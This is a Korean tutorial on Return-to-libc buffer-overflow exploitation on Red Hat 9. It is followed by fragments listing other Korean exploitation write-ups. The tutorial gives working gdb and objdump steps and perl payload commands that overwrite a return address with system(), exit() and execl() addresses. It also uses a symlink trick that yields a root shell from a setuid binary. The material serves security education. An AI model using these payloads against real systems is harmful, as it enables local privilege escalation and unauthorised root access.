RTL

Size: px
Start display at page:

Download "RTL"

Transcription

1 All about RTL ( Return To Library ) By Wr4ith

2 [ 목차 ] 1. 개요 2. 등장배경 3. 실습

3 1. 개요 기존의시스템해킹기법중일부인 BoF/FSB 등은대부분직접만든쉘코드를이용 하여 root 권한을취득하는것이일반적이였다. 하지만 RTL 기법은쉘코드가필요 없는기법이다. RTL 의핵심은함수에필로그과정에서 RET 영역에 libc 라고하는공유라이브러리 내의함수주소를오버라이팅하는것이다. libc 영역은메인프로그램이내부에서 사용하는라이브러리함수와관련된파일이다. 예를들어 printf() 함수를사용했다면실제해당함수를가지고있는 /lib/libc.so.6 파일이 libc 영역에적재된다. 따라서메인프로그램에서 printf() 함수하나만사용하고있더라도실제로는 libc.so.6 파일이통째로메모리에적재되어해당파일내의다른함수를사용할수있게된다. 이런방식을사용하는이유는여러프로그램이동시에공유라이브러리영역을활용하여디스크공간, 메모리사용량을절약할수있기때문이다. 대부분의 RTL 공격에서는 root 권한의쉘을획득하기위해 system(), execl() 등의함수를이용한다. libc.so.6 파일내에포함된함수목록을알고싶다면다음과같은명령어를사용하면된다. root]# nm /lib/libc.so.6 grep printf 000e9210 t argp_fmtstream_printf W asprintf T asprintf 0004c820 t GI printf_fp 0006a2d0 t _IO_obstack_printf 0006a1c0 t _IO_obstack_vprintf 00051f80 T _IO_printf T _IO_sprintf * nm 명령어는 elf 파일의심볼테이블을볼때사용함 * 심볼테이블은컴퓨터의구조상 0,1만기억하기때문에문자변수와매칭시키기위해사용하는수단임위명령어결과에서는수많은함수중에 printf() 관련함수의목록만본것인데도그숫자가엄청나다. 전체함수를보고싶다면 nm /lib/libc.so.6 more 명령어를이용하면된다.

4 libc 영역의범위가궁금하다면다음과같은명령어를사용하면된다. root]# cat /proc/self/maps grep libc e000 r-xp : /lib/tls/libc so 4212e rw-p 0012e000 08: /lib/tls/libc so 결국 ~ 사이가현재시스템 (Redhat_9) 에서의 libc 영역임을알수있다. 2. 등장배경 일단실습에앞서 RTL의등장배경에대해알아볼것인데, 1997 년 Solar Desginer 가스택에서어떤코드도실행되지못하도록하는기능을가진 Non-executable Stack 을리눅스커널패치의형태로개발하여배포하게되는데, 이때문에기존의공격방식인스택에쉘코드를적재하는형식은전부불가능하게되었다. * 참고로윈도우에서는비슷한기능으로 DEP 가있음이런방식을일명 Nx bit 라고도한다. 새로운방어기법이등장하였기에공격자역시새로운공격기법을찾게되었고, 이때나온기법이바로 RTL 기법이다. RTL 기법은말그대로 libc ( 공유라이브러리 ) 영역으로리턴하라는뜻인데, 기본적인개념은기존의 BoF와매우유사하다. * 버퍼를꽉채우고, ret 영역에 libc 주소 ( 좀더정확히말하면 libc 내에서공격자가사용할함수의주소 ) 를넣어주는것 결국공격대상프로그램이어떤함수를사용하더라도함수를해당함수를가지고 있는 libc.so.6 파일이통째로메모리에적재되기때문에공격자는해당파일에서 실행하고자하는함수의주소를알아내서 ret 영역에오버라이팅만하면된다. 물론뒤에실습부분에서보겠지만단순히함수주소만있다고실행되는것이아니라 함수에서요구하는파라미터까지넣어주어야한다.

5 3. 실습 본문서내용을기반으로공부를하려면최대한실습환경이유사한것이좋다. 본문서는다음과같은실습환경에기반하고있다. root]# uname -a Linux localhost.localdomain #1 Thu Mar 13 17:54:28 EST 2003 i686 i686 i386 GNU/Linux root]# root]# gcc -v Reading specs from /usr/lib/gcc-lib/i386-redhat-linux/3.2.2/specs Configured with:../configure --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --enable-shared --enable-threads=posix --disable-checking --with-system-zlib --enable- cxa_atexit --host=i386-redhat-linux Thread model: posix gcc version (Red Hat Linux ) 뭔지잘모르겠다면그냥인터넷에서 redhat9 iso를받아서그냥기본환경으로설치하면된다. * gcc는기본패키지가아니기추가패키지설치과정에서설치하거나, 직접 rpm 파일을받아서설치해야함 [root@localhost rtl]# cat vuln.c #include <stdio.h> int main(int argc, char *argv[]) { char buf[32]; if (argc < 2) { printf("usage : %s <arg>\n", argv[0]); exit(-1); } strcpy(buf, argv[1]); printf("buf : %s\n", buf); } return 0;

6 전형적인 BoF 취약점이존재하는프로그램이다. 소스에서는버퍼의크기를 32 로 선언했지만 gcc 2.96 이상부터는더미가포함되기때문에 gdb 에서는조금더큰 사이즈로잡혀있을것이다. 페이로드구조를먼저보면 rtl 기법은 ret 값에공격자가원하는함수주소를넣고함수의인자를줘야하기때문에페이로드는다음과같이구성된다. buf[32] + gcc_dummy[?] SFP[4] ret= 함수주소 [4] 함수인자 위페이로드는이론상으로완벽한데실제사용하기엔약간문제가있다. 일반적으로 rtl을이용하는것은 root 권한의쉘을따기때문에 system(),execl() 함수를실행하고 /bin/sh 등을인자로주는것이일반적이다. 문제는페이로드에서사용하고자하는 system(), execl() 함수등이 ebp+8 바이트위치의인자를참고한다. 즉, 페이로드가다음과같이변경된다. buf[32] + gcc_dummy[?] SFP[4] ret= 함수주소 [4] dummy[4] 함수인자 즉, dummy 부분이 ebp+4 위치고, 함수인자부분이 ebp+8 위치다. [root@localhost rtl]# gcc -o vuln vuln.c [root@localhost rtl]# chmod 4755 vuln [root@localhost rtl]# ls -l total 16 -rwsr-xr-x 1 root root Jan 28 18:41 vuln -rw-r--r-- 1 root root 210 Jan 28 18:24 vuln.c 소스를컴파일하고 root 권한의 SetUID 비트까지주면실습준비가완료된다. [wraith@localhost rtl]$ cp vuln euln [wraith@localhost rtl]$ gdb -q euln (gdb) set dis intel (gdb) disas main Dump of assembler code for function main: 0x <main+0>: push ebp 0x <main+1>: mov ebp,esp 0x <main+3>: sub esp,0x28 0x <main+6>: and esp,0xfffffff0 0x <main+9>: mov eax,0x0 0x080483d0 <main+64>: lea eax,[ebp-40] 0x080483d3 <main+67>: push eax 0x080483d4 <main+68>: call 0x80482d0 <strcpy> 0x080483d9 <main+73>: add esp,0x10

7 참고로 RTL 기법으로 LPE ( 로컬권한상승 ) 을하기위해서는다음과같은정보가필요하다. 1. 버퍼부터 SFP, RET 까지의거리 2. RET를오버라이팅할함수의주소 3. 함수의인자및전달방식위에서보여지는명령어결과에서버퍼사이즈를알수있다. 함수프롤로그시에할당하는명령어를통해알수도있고, strcpy 의인자준비과정에서도알수있다. 버퍼의크기는 0x28 == 40 바이트이다. 따라서페이로드는다음과같은구조를가지게된다. buf[32] + gcc_dummy[8] SFP[4] ret= 함수주소 [4] dummy[4] 함수인자 참고로 at&t 문법에서는디스어셈블결과가다음과같이달라진다. 0x <main+3>: sub $0x28,%esp 0x080483d0 <main+64>: lea 0xffffffd8(%ebp),%eax 0x080483d3 <main+67>: push %eax 0x080483d4 <main+68>: call 0x80482d0 <strcpy> 이문서에서어셈블리명령어형식까지다를수없기때문에이는알아서공부하길 바란다. 아무튼 at&t 형식에서도함수프롤로그명령은거의다른게없는데 strcpy 인자준비과정이약간다르다. main+64 명령어로버퍼사이즈를알아내는방법과 우측의 16진수숫자에 1을한다음스택의끝주소인 0xffffffff 에서빼면된다. (gdb) p /x 0xffffffff - 0xffffffd7 $1 = 0x28 (gdb) p /d 0xffffffff - 0xffffffd7 $2 = 40 어쨌든버퍼의사이를확인했으니이제 ret 를오버라이팅할함수의주소를알아내야 한다. 본문서에서는 system() 함수를이용할것이다. 시스템함수주소를알아내는 방식은 gdb 를이용하는것과 ldd 를이용하는방법이있다. (gdb) b *main Breakpoint 1 at 0x (gdb) r Starting program: /home/wraith/rtl/euln /bin/bash: /root/.bashrc: Permission denied Breakpoint 1, 0x in main () (gdb) p system $3 = {<text variable, no debug info>} 0x4203f2c0 <system>

8 gdb를이용하는방법은 libc.so.6 파일이지금우리가분석하고있는소스에서 printf 함수를사용하기때문에메모리에올라가있다는것을기반으로하여, main에 bp를설치하여 main 직전까지실행한뒤 p(rint) system 명령어를통해알아낼수있다. rtl]$ ldd vuln libc.so.6 => /lib/tls/libc.so.6 (0x ) /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x ) rtl]$ objdump -d /lib/tls/libc.so.6 grep system\>: 4203f2c0 < libc_system>: 4203f340 <do_system>: ldd를이용하는방법은우선대상파일에서요구하는공유라이브러리목록을출력한다음에 objdump를통해해당파일에서시스템함수주소를찾는것이다. 따라서페이로드는다음과같은구조를가지게된다. buf[32] + gcc_dummy[8] SFP[4] 0x4203f2c0 dummy[4] 함수인자 [wraith@localhost rtl]$ export SH="/bin/sh" 그럼이제함수의인자로사용할 /bin/sh 의주소를알아내야한다. [wraith@localhost rtl]$ cat getaddr.c void main() { printf("/bin/sh addr : %p\n", getenv("sh")); } [wraith@localhost rtl]$./getaddr /bin/sh addr : 0xbffffec4 가장쉬운방법은환경변수에 /bin/sh 를등록하여그주소를가져오는방법이다. 또다른방법은이전에알아낸 system 함수를이용하여, system() 함수메모리내의 /bin/sh 메모리를검색하는방법이다. [wraith@localhost rtl]$ cat sh2.c void main() { long sh; sh = 0x4203f2c0; while (memcmp((void *)sh, "/bin/sh", 8)) { sh++; } printf("/bin/sh addr : %p\n", sh); } [wraith@localhost rtl]$./sh2 /bin/sh addr : 0x42127ea4

9 최종적으로사용되는페이로드는다음과같다. buf[32] + gcc_dummy[8] SFP[4] 0x4203f2c0 dummy[4] 0x42127ea4 buf[32] + gcc_dummy[8] SFP[4] 0x4203f2c0 dummy[4] 0xbffffec4 * system() 함수주소는동일하게나오니상관없는데개인적으로 /bin/sh 의주소는환경 변수보다는 sysetm() 함수메모리내에서찾아진주소를사용하는걸권장함 * 이유는가끔가다환경변수주소가일치하지않아서공격이안될때가있음 [wraith@localhost rtl]$./vuln `perl -e 'print "\x90"x44, "\xc0\xf2\x03\x42", "BBBB", "\xa4\x7e\x12\x42"'` Buf : rbbbbb ~B sh-2.05b$ id uid=500(wraith) gid=500(wraith) groups=500(wraith) sh-2.05b$ exit Segmentation fault [wraith@localhost rtl]$ 쉘은획득했으나 2가지문제가발생하였다. 1. root 권한의 suid가걸린바이너리지만쉘은일반유저권한임 2. /bin/sh 종료시세그폴트오류가남 우선 2번부터해결해야하는데사실이건스택구조만생각하면금방해결된다. 페이로드구성때문에메인함수의리턴주소는 system() 함수가된다. 호출되는 system() 역시함수이기때문에스택프레임이생성된다. 따라서페이로드의더미값이 system 함수스택프레임의리턴주소가되고, 쉘이따진후종료하기위해 BBBB = \x42\x42\x42\x42 주소로리턴하기때문에오류가나는것이다. 따라서이를해결하기위해서는 exit() 함수주소를더미값에넣으면된다. [wraith@localhost rtl]$ objdump -d /lib/tls/libc.so.6 grep exit\>: 42029bb0 <exit>: 42100c60 <svc_exit>: [wraith@localhost rtl]$ gdb -q euln (gdb) b *main Breakpoint 1 at 0x (gdb) r Starting program: /home/wraith/rtl/euln /bin/bash: /root/.bashrc: Permission denied Breakpoint 1, 0x in main () (gdb) p exit $1 = {<text variable, no debug info>} 0x42029bb0 <exit>

10 rtl]$./vuln `perl -e 'print "\x90"x44, "\xc0\xf2\x03\x42", system() 함수주소를알아내는방법을이용하여 exit 함수주소를알아내면된다. "\xb0\x9b\x02\x42", "\xa4\x7e\x12\x42"'` Buf : rb B ~B sh-2.05b$ id uid=500(wraith) gid=500(wraith) groups=500(wraith) sh-2.05b$ exit [wraith@localhost rtl]$ 자이제세그폴트는해결했으니쉘의권한문제를해결해야한다. 일단원인부터파악하면, 커널 2.4.x 이상버전에서는 setuid 권한이있는프로그램에대한보호대책으로 getuid 라는개념이추가되었기때문이다. 즉, 위와같은방법으로쉘을획득하려하면대상바이너리를실행시키는유저의 id를가져와 (getuid) 해당권한으로쉘을실행시키기때문에 root 획득이불가능하다. 따라서다른방법을이용해야한다. 이러환경에서 root 쉘을획득하려면 euid() 가유지되는상태에서바로쉘을띄우는것이아니라다른프로그램을한번실행하고, 그프로그램을통해 edui() 가유지되는상태에서 ruid() 를 root로변경하고쉘을실행해야한다. 이걸만족하는함수가 execl() 함수이다. * system() 함수를사용하지못하는이유는다음과같다. system() 함수는자체적으로 /bin/sh c argv 형식으로실행하게된다. 따라서위에서작성한페이로드는결국 /bin/sh c /bin/sh 형태로처리된다. 즉, 인자에상관없이이미자체적으로 /bin/sh 를사용하기때문에 root 권한을획득하는것은불가능하다. 다시본론으로돌아와, excel() 함수의프로토타입을살펴보면다음과같다. int execl (const char *path, const char *arg,... ); const char *path : 실행할파일의전체디렉토리경로 const char *arg : 새로생성시킬프로세스에서사용하는인자등록하고자하는인자가모두끝나면마지막에 NULL을넣어줘야하고, 인자를해당폴더 ( 동일경로 ) 에서실행할경우두번째인자를 NULL로줘도되지만, 파일명을전체디렉토리경로 ( 절대경로 ) 로표현할경우에러가발생한다. 이경우에는파일의경로와새로생성시킬프로세스의인자사이에임의값을하나넣어줘야한다. 이게뭔소리냐면 excel() 함수는인자를현재폴더에서실행시킬경우 execl( vuln, NULL) 과같이두번째부분을 NULL로줘도된다. 그러나, execl( /bin/sh, NULL) 과같이절대경로를주면세그먼트에러가발생한다. 따라서 execl( /bin/sh, argv1, NULL) 과같은형태를이용해야한다.

11 rtl]$ gdb -q euln 참고로 (gdb) set execl dis 함수 intel역시 system 함수와마찬가지로 duummy [4 byte] 를추가해야한다. (gdb) disas main execl() Dump of 함수 assembler 인자구성을 code 어떻게 for function 할건지 main: 알아보기위해 gdb를이용할것이다. 0x <main+0>: push ebp 0x <main+1>: mov ebp,esp 0x <main+3>: sub esp,0x28 0x080483d0 <main+64>: lea eax,[ebp-40] 0x080483d3 <main+67>: push eax 0x080483d4 <main+68>: call 0x80482d0 <strcpy> 0x080483d9 <main+73>: add esp,0x10 End of assembler dump. (gdb) b *main+73 Breakpoint 1 at 0x80483d9 왜하필 strcpy 함수가끝난직후에 bp를설치했을까 라는의문을가질수도있을텐데, 우선기존페이로드의구조를다시한번보면다음과같다. buf[32] + gcc_dummy[8] SFP[4] 0x4203f2c0 dummy[4] 0x42127ea4 이래나저래나위의페이로드는전부 strcpy 함수의영향을준다. 문제는 execl() 함수특성상널문자를요구하는데, strcpy 함수는널문자를만나면문자열의끝이라해석되어복사를중단한다. 따라서 strcpy 함수에게영향을주지않는주소에이미적재되어있는 0x 를사용해야하기때문에 strcpy 실행이후에 bp를설치한것이다. (gdb) r `perl -e 'print "A"x40, "BBBB", "CCCC"'` Starting program: /home/wraith/rtl/euln `perl -e 'print "A"x40, "BBBB", "CCCC"'` Breakpoint 1, 0x080483d9 in main () (gdb) x/20 $ebp 0xbfffef58: 0x x x xbfffefa4 0xbfffef68: 0xbfffefb0 0x c 0x x080482e0 0xbfffef78: 0x x x x xbfffef88: 0xbfffefa4 0x080483f8 0x x4000c660 0xbfffef98: 0xbfffef9c 0x x xbffffba7 0xbfffef78 / 0xbfffef9c 주소에위치하는 0x 은그냥써도되는데, 만약 0xbffffef70 주소의 0x 를쓰려면입력값에충분한문자열을주어끝 부분에자동으로 0x00 을들어가게만들어최종적으로 0x 로만든 다음사용하면된다.

12 널바이트인부분을사용하는것은일단아까 execl() 함수의프로토타입에서본것처럼함수끝부분에널문자가필요하고, 널문자를이용하는것이인자가깔끔하게들어가기때문이다. 그럼이제 excel() 함수의첫번째인자인 실행하고자하는파일경로 / 이름 이다. 여기서약간의꼼수 (?) 를이용할건데, data 세그먼트영역의특정값을심볼릭링크를걸고, 그값을인자로넣은다음, 심볼링링크가실행되게할것이다. 쉽게말하면쉘을띄우는소스를코딩하고컴파일한다음심볼링링크를걸어주면, data 세그먼트의특정한값이실행되면심볼링링크를이용하여컴파일된파일이실행되면서 shell이띄어지게된다. * data 세그먼트를이용하는것은프로그램을실행할때마다값이고정적이기때문 (gdb) x/32wx 0x x : 0x464c457f 0x x x x : 0x x x080482e0 0x x : 0x00001dd4 0x x x x : 0x001f0022 0x x x x : 0x x000000c0 0x000000c0 0x x : 0x x x000000f4 0x080480f4 0x : 0x080480f4 0x x x x : 0x x x x 맘에드는걸고르면되는데, 나중에해당값을문자열로입력해야하기때문에 문자열의종료를의미하는널문자를포함하는간단한숫자를고르는게훨씬좋다. 따라서 0x 의이름으로심볼릭링크를걸어야하기때문에인자로사용 해야할주소는 0x 이된다. * execl() 함수의첫번째인자는파일명 [ 의주소임 ] (gdb) p execl $1 = {<text variable, no debug info>} 0x420acaa0 <execl> 사용하고자하는 execl 함수의주소는 0x420acaa0 이다. 이제 excel() 함수를 통해실행할심볼링링크대상파일을만들어야한다. [wraith@localhost rtl]$ cat sym_sh.c void main() { setuid(0); system("/bin/sh"); } [wraith@localhost rtl]$ ln -s sym_sh `perl -e 'print "\x01"'` [wraith@localhost rtl]$ ls -l lrwxrwxrwx 1 wraith wraith 6 Jan 28 21:08? -> sym_sh

13 이제 execl() 함수에서파일명이바이너리 0x01인파일을실행하면심볼릭링크를이용하여 shell을실행하는 sym_sh 바이너리가실행된다. rtl]$./vuln `perl -e 'print "A"x44, "\xa0\xca\x0a\x42", "ABCD", "\x14\x90\x04\x08"'` Buf : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault [wraith@localhost rtl]$./vuln "`perl -e 'print "A"x44, "\xa0\xca\x0a\x42", "ABCD", "\x14\x90\x04\x08"'`" Buf : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA BABCD Segmentation fault [wraith@localhost rtl]$./vuln "`perl -e 'print "A"x44, "\xa0\xca\x0a\x42", "ABCD", "\x14\x90\x04\x08"x3'`" Buf : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA BABCD sh-2.05b# id uid=0(root) gid=500(wraith) groups=500(wraith) sh-2.05b# 지금까지알아낸모든정보와트릭을합치면첫번째명령어와같은페이로드가완성된다. 그런데직접첫번째페이로드를입력하면페이로드중간에끊기는경우 [ 더미이전 ] 가발생한다. 그럴때는두번째페이로드처럼페이로드전체를 ( ) 로감싸면해결된다. 그런데아직도쉘이안떨어지고결국마지막페이로드를보면마지막에심볼링링크프로그램의주소를 3번넣어주니 root 권한의쉘이획득되었다. 각주소들의의미는다음과같다. 1 번째 0x execl() 함수의첫번째인자를실행할파일명의주소 2 번째 0x 이전에말한것처럼 execl( /bin/sh, argv1, NULL) 함수를호출하면중간에 임의의인자를넣어줘야하는데, 어차피문자열이면되기때문에인자로넣음 3번째 0x execl() 함수의인자가종료되면끝에널이있어야한다. 따라서스택을살펴보면서 NULL이나올때가지추가로더미값을넣어야하기때문에넣음

14 아마도 1,2번째는어느정도이해하여도 3번째가뭔소리지모를수도있기때문에 gdb로해당주소를보면서관찰할것이다. rtl]$ gdb -q euln (gdb) set dis intel (gdb) disas main Dump of assembler code for function main: 0x080483d4 <main+68>: call 0x80482d0 <strcpy> 0x080483d9 <main+73>: add esp,0x10 0x080483dc <main+76>: sub esp,0x8 (gdb) b *main+76 Breakpoint 1 at 0x80483dc (gdb) r AAAA Starting program: /home/wraith/rtl/euln AAAA Breakpoint 1, 0x080483dc in main () (gdb) x/8wx $ebp 0xbfffde78: 0xbfffde98 0x x xbfffdec4 0xbfffde88: 0xbfffded0 0x c 0x x080482e0 (gdb) (gdb) r "`perl -e 'print "A"x44, "\xa0\xca\x0a\x42", "ABCD", "\x14\x90\x04\x08"x3'`" The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/wraith/rtl/euln "`perl -e 'print "A"x44, "\xa0\xca\x0a\x42", "ABCD", "\x14\x90\x04\x08"x3'`" Breakpoint 1, 0x080483dc in main () (gdb) x/8wx $ebp 0xbffff748: 0x x420acaa0 0x x xbffff758: 0x x x x080482e0 만약더미값없이 0x 를 1번만넣으면널문자가존재해야하는 0xbffff758 주소에 0xbfffded0 이있기때문에오류가난다. 따라서충분히많은더미값을주어 esp를뒤로밀면서 0xbffff758 까지입력하면최종적으로 0xbffff759 주소의바이트가 0x02 => 0x00 이되면서쉘이획득되어진다.

<52544CC0BB20BEC6B4C2B0A12E687770>

<52544CC0BB20BEC6B4C2B0A12E687770> RTL 을아는가? 작성일 : 2009/12/01 Written by MaJ3stY ----------------------------------------------------------------------- 목차 0x01 Notice 0x02 RTL 이란? 0x03 공격을직접해보자. 0x04 마치며 -----------------------------------------------------------------------

More information

2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다

2015 CodeGate 풀이보고서 김성우   1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 2015 CodeGate 풀이보고서 김성우 rkwk0112@gmail.com http://cd80.tistory.com 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다 argv[1] 의주소는스택에있으므로 cmd부터버퍼를오버플로우시켜 argv[1] 이저장된주소까지접근이가능하면 strlen(argv[1]); 시

More information

PowerPoint Template

PowerPoint Template BoF 원정대서비스 목차 환경구성 http://www.hackerschool.org/hs_boards/zboard.php?id=hs_notice&no=1170881885 전용게시판 http://www.hackerschool.org/hs_boards/zboard.php?id=bof_fellowship Putty War game 2 LOB 란? 해커스쿨에서제공하는

More information

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard Level 4 ( hell_fire -> evil_wizard ) [hell_fire@fedora_1stfloor ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard - Local BOF on Fedora Core 3 - hint : GOT overwriting

More information

History

History [Document Information] Title : History Of Buffer Over Flow VOL. 1 Date : 2007. 3. 28 Author : hardsoju Contact : E-Mail(hardsoju@hanmail.net) 1 [Index] 1. 개요 2. 환경변수의이해 2.1 eggshell 을이용한 root shell 획득

More information

Microsoft Word - building the win32 shellcode 01.doc

Microsoft Word - building the win32 shellcode 01.doc Win32 Attack 1. Local Shellcode 작성방법 By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com Abstract 이글은 MS Windows 환경에서 shellcode 를작성하는방법에대해서설명하고있다. Win32 는 *nix 환경과는사뭇다른 API 호출방식을사용하기때문에조금복잡하게둘러서 shellcode

More information

hlogin2

hlogin2 0x02. Stack Corruption off-limit Kernel Stack libc Heap BSS Data Code off-limit Kernel Kernel : OS Stack libc Heap BSS Data Code Stack : libc : Heap : BSS, Data : bss Code : off-limit Kernel Kernel : OS

More information

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

Reusing Dynamic Linker For Exploitation Author :  Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn Reusing Dynamic Linker For Exploitation Author : pwn3r @ B10S @WiseGuyz Date : 2012 / 05 / 13 Contact : austinkwon2@gmail.com Facebook : fb.me/kwonpwn3r Abstract 대부분의 Unix 에선공유라이브러리를메모리에로드하고프로그램과 link

More information

Return-to-libc

Return-to-libc Return-to-libc Mini (skyclad0x7b7@gmail.com) 2015-08-22 - INDEX - 1. 개요... - 2-1-1. 서문... - 2-1-2. RTL 공격이란... - 2 - 보호기법... - 3 - Libc 란?... - 4-2. RTL 공격... - 4-2-1. 취약한코드... - 4-2-2. 분석... - 5-2-3.

More information

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

02.Create a shellcode that executes /bin/sh Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes /bin/sh C 02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C language Assembly code Change permissions(seteuid())

More information

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx #include int main(void) { int num; printf( Please enter an integer "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을 작성하면서 C 프로그램의

More information

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Example 3.1 Files 3.2 Source code 3.3 Exploit flow

More information

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단 기술문서 `09. 11. 02. 작성 Windows Buffer Overflow Attack 작성자 : 영남대학교정보보호연구학회 @Xpert 김슬예나 prehea@ynu.ac.kr 1 목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF... 3 2. 개발환경및사용툴... 3 3. Shellcode 작성하기... 4 가. cmd 쉘... 4

More information

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO 01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - POP; POP; POP; RET PLT & GOT Debug Proof of concept Example

More information

강의10

강의10 Computer Programming gdb and awk 12 th Lecture 김현철컴퓨터공학부서울대학교 순서 C Compiler and Linker 보충 Static vs Shared Libraries ( 계속 ) gdb awk Q&A Shared vs Static Libraries ( 계속 ) Advantage of Using Libraries Reduced

More information

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습니다. 여러분모두 Windows 에서 hex editor(hex dump, hex viewer) 라는것을사용해보셨을겁니다. 바로바이너리파일을 16 진수

More information

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1 FTZ LEVEL11 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); gdb 를이용해분석해보면 [level11@ftz level11]$

More information

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770>

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770> 기술문서 09. 11. 3. 작성 Format String Bug 에서 dtors 우회 작성자 : 영남대학교 @Xpert 박병규 preex@ynu.ac.kr 1. 요약... 2 2. d to r 이란... 3 3. 포맷스트링... 4 4. ro o t 권한획득... 7 5. 참고자료... 1 0-1 - 1. 요약 포맷스트링버그 (Format String bug)

More information

슬라이드 1

슬라이드 1 -Part3- 제 4 장동적메모리할당과가변인 자 학습목차 4.1 동적메모리할당 4.1 동적메모리할당 4.1 동적메모리할당 배울내용 1 프로세스의메모리공간 2 동적메모리할당의필요성 4.1 동적메모리할당 (1/6) 프로세스의메모리구조 코드영역 : 프로그램실행코드, 함수들이저장되는영역 스택영역 : 매개변수, 지역변수, 중괄호 ( 블록 ) 내부에정의된변수들이저장되는영역

More information

Fedora Core 3,4,5 stack overflow.docx

Fedora Core 3,4,5 stack overflow.docx Fedora Core 3,4,5 stack overflow - www.hackerschool.org - - by randomkid - +------------------------------ 목차 ----------------------------------+ 1. 스택오버플로우의역사 2. 커널 2.4 에서의 stack overflow 방법 (shellcode

More information

hlogin7

hlogin7 0x07. Return Oriented Programming ROP? , (DEP, ASLR). ROP (Return Oriented Programming) (excutable memory) rop. plt, got got overwrite RTL RTL Chain DEP, ASLR gadget Basic knowledge plt, got call function

More information

Computer Security Chapter 08. Format String 김동진 1 Secure Software Lab.

Computer Security Chapter 08. Format String 김동진   1 Secure Software Lab. Computer Security Chapter 08. Format Strig 김동진 (kdjorag@gmail.com) http://securesw.dakook.ac.kr/ 1 목차 Format Strig Attack? Format Strig? Format Strig Attack 의원리 입력코드생성 Format Strig Attack (kerel v2.2,

More information

Adobe Flash 취약점 분석 (CVE-2012-0754)

Adobe Flash 취약점 분석 (CVE-2012-0754) 기술문서 14. 08. 13. 작성 GNU C library dynamic linker $ORIGIN expansion Vulnerability Author : E-Mail : 윤지환 131ackcon@gmail.com Abstract 2010 년 Tavis Ormandy 에 의해 발견된 취약점으로써 정확한 명칭은 GNU C library dynamic linker

More information

Microsoft PowerPoint - chap06-2pointer.ppt

